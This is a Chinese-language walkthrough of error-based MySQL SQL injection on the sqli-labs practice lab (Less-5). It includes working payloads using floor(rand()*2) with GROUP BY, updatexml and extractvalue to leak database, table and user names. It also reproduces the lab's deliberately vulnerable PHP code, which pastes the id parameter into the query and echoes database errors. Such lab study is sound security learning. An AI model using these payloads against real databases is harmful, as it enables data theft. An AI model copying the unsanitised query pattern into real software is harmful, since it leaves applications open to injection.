-
mysql基本函数 floor,count,rand,group_concat,concat
- floor是取底函数,经常对小数使用,例如5.4或者5.7取底就是5,只取整数的部分,不管后面小数点的大小。
- rand()函数用来产生0到1之间的随机数(不包括1)
- concat,group_concat()函数有相似的功能,用于连接结果
-
测试
select count(*),concat(0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name; -
利用这个语句可以让Mysql随机报错,报错后显示了当前的数据库名,由此可以将其他想要的结果填充到database()这个位置上
- select count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand()*2))name from information_schema.tables group by name;
- 这样显示当前数据库的第一张表的表明。
利用这些知识对sqli基础第5节进行注入
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
这是第5课源代码。根据代码,如果$row不为空,就显示in 否则出错,一共就有两种结果,由于将数据库错误打印出来了,所以利用报错进行注入
http://127.0.0.1/sqli/Less-5/?id=2' and( select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test) --+
这个语句显示sql语句出错,这种出错显然不是因为随机的出错,根据代码来看,实际的语句应该是
SELECT * FROM users WHERE id='2' and (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test) --+'
报错为:
Operand should contain 1 column(s)
换成,
SELECT * FROM users WHERE id='2' and (select 1 from( (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test))b) --+
通过(select * from( (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test))b)筛选出结果。这样这个sql语句就对了
或者先通过id=2' order by 3/4/5等来判断当前列数 再利用union 来查询
剩下的只要将查询的信息,放在database()的位置上就可以了。
其他报错注入还有updatexml
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
extractvalue
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Xpath报错有位数限制32位。